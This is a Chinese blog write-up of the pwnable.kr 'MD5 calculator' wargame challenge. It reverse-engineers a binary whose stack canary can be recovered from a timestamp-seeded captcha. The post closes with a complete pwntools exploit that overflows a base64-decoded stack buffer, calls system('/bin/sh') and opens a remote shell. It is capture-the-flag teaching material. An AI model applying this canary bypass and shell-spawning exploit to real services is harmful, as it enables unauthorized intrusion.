欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

stack canary之pwnbale.kr MD5 calculator

程序员文章站 2022-03-31 08:32:36
We made a simple MD5 calculator as a network service.Find a bug and exploit it to get a shell.Download : http://pwnable.kr/bin/hashhint : this service shares the same machine with pwnable.kr web serviceRunning at : nc pwnable.kr 9002程序的执行:ma....

We made a simple MD5 calculator as a network service.
Find a bug and exploit it to get a shell.

Download : http://pwnable.kr/bin/hash
hint : this service shares the same machine with pwnable.kr web service

Running at : nc pwnable.kr 9002


程序的执行:

stack canary之pwnbale.kr  MD5 calculator

main函数反汇编

stack canary之pwnbale.kr  MD5 calculator

上图中的地10行相当于获取当前的时间戳,并把它赋值给v3。第11行中把v3作为参数(随机数种子)传入到srand函数中,那么随后的调用rand函数的操作,都将会根据这个设置好了的随机数种子产生随机数。需要注意的是,一旦传入到srand函数中相同的seed,那么后续多次调用rand函数的时候,产生的随机数序列是相同的。

my_hash()函数反汇编

stack canary之pwnbale.kr  MD5 calculator

如上图,总共调用了8次rand函数。并且把他们保存在了栈中以v2作为起始地址的地方。这样以来,只要使用相同的时间戳作为随机数种子传入到srand函数中。那么就可以反推出v10的值。我们知道,main函数和其调用的子函数通过执行_readgsdword产生的canary是相同的。虽然canary是会经常发生变动的。

stack canary之pwnbale.kr  MD5 calculator

下面,可以重点分析一下process_hash函数

stack canary之pwnbale.kr  MD5 calculator
程序中总共有两个要求我们输入的地方。第一个地方在输入captcha,第二个地方输入的是经过base64编码之后的字符串。从上图第15行可知,程序会解码之后保存在栈中的那个被分配了512字节的地方。由于全局变量g_buf总共有1024字节,也就是说,结果base64编码之后的字符串的最大长度是1024。那么假设一个字符串长度为len,记过base64编码之后生成的字符串的长度为len/3*4。所以在结果base64编码之前,也就是说理论上我们可以输入到栈中的大小是:1024/4*3=768字节。因为栈中保存的是解码之后的,也就是相当于编码之前的字符串。所以我们可以进行栈泄露。但是由于存在canary保护,所以我们需要找到canary的具体值,然后在payload中的对应位置想入相同的canary,那么就可以骗过stack canary机制。

stack canary之pwnbale.kr  MD5 calculator

stack canary之pwnbale.kr  MD5 calculator

所以,构造的payload为:

payload = 'A'.encode('ascii') * 512 + p32(canary) + 'A'.encode('ascii') * 12 + p32(plt_system) + p32(0x0000000) + p32(0x0804B0E0 + 720) # 总共540个字节

其中0x0804B0E0是全局变量g_buf的地址。由于payload为540字节。540/3*4=720.所以字符串"/bin/sh\0"要存放与0x0804B0E0的地方。后面会作为system的参数被传入到system中。

from zio3 import p32
from pwn import *
# elf = ELF('./hash')
# plt_system = elf.plt['system']
plt_system = 0x08048880
p = remote('pwnable.kr',9002)
# p = process('./hash')
t = int(time.time())
print(p.recvline())
temp_recv = p.recvline()
print(temp_recv)
capcha = re.search(': [^\n]+', temp_recv.decode('ascii')).group(0)[2:]
print('capcha = ',capcha)
p.sendline(capcha)
print('output:',p.recvline())
print(p.recvline())
canary = '0x' + os.popen('./canary {} {}'.format(str(t), capcha)).read() # canary是一个C语言可执行程序
print('canary:',canary)
canary = int(canary, 16) # 十六进制的字符串转换为十进制的数字
payload = 'A'.encode('ascii') * 512 + p32(canary) + 'A'.encode('ascii') * 12 + p32(plt_system) + p32(0x0000000) + p32(0x0804B0E0 + 720) # 总共540个字节
print(len(b64e(payload)))
print(b64e(payload)+'/bin/sh\0')
p.sendline(b64e(payload) + '/bin/sh\0')
p.interactive()

stack canary之pwnbale.kr  MD5 calculator


本文地址:https://blog.csdn.net/jiuweideqixu/article/details/108240109

相关标签: 逆向分析